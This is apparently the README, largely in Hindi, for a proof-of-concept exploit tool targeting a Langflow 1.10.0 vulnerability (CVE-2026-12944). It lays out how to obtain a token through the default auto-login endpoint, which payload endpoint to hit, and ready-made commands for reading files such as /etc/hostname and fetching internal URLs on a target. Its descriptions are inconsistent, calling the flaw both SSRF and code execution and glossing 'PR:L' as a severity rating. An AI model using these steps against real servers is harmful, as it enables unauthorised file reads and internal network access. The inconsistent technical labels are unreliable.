CVE-2026-12944: Langflow 1.10.0 — urllib SSRF

Langflow OSS (≤ 1.10.0) — कस्टम कंपोनेंट्स में urllib.request / socket के माध्यम से मनमाना कोड निष्पादन की अनुमति देने वाली भेद्यता।
कंपोनेंट स्कैनर की डिनाइलिस्ट इन मानक लाइब्रेरी मॉड्यूल्स को मिस कर गई। 1.10.1 (IBM) में ठीक किया गया।

गंभीरता: PR:L (सार्वजनिक रूप से पुनरुत्पादनीय / निम्न गंभीरता)

एक्सप्लॉइट एंडपॉइंट: POST /api/v1/custom_component
इसके लिए सत्र कुकी या बियरर टोकन आवश्यक है।

प्रमाणित पहुँच कैसे प्राप्त करें (3 आसान तरीके)

1. --test — किसी प्रमाणीकरण की आवश्यकता नहीं। केवल एक सार्वजनिक GET /api/v1/version करता है।
2. --read / --fetch — पहले प्रमाणित करें:
   • ऑटो-लॉगिन सक्षम (डिफ़ॉल्ट रूप से स्टॉक Langflow पर):
     GET /api/v1/auto_login। यदि JSON प्रतिक्रिया में access_token है, तो Authorization: Bearer … भेजें (उपयोगकर्ता नाम/पासवर्ड की आवश्यकता नहीं)।
   • ऑटो-लॉगिन अक्षम:
     application/x-www-form-urlencoded प्रारूप में --uname / --password का उपयोग करके POST /api/v1/login करें।
3. लॉगिन के बाद, पेलोड को POST /api/v1/custom_component पर भेजें।

--uname / --password का उपयोग केवल तब किया जाता है जब ऑटो-लॉगिन अक्षम हो। डिफ़ॉल्ट स्टॉक इंस्टॉलेशन पर इन्हें अनदेखा किया जाता है।

केवल अधिकृत परीक्षण के लिए। इसका उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने की स्पष्ट अनुमति आपके पास नहीं है।

आवश्यकताएँ: Python 3 (केवल मानक लाइब्रेरी)।

उपयोग के उदाहरण

python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --test
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --read /etc/hostname
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --fetch http://127.0.0.1:7860/api/v1/version
python3 cve-2026-12944-langflow-urllib-ssrf.py -u https://TARGET --read /etc/hostname --insecure
python3 cve-2026-12944-langflow-urllib-ssrf.py -u TARGET --uname langflow --password langflow --read /etc/hostname

श्रेय

रिपोर्ट और PoC: ShadowForge Cyber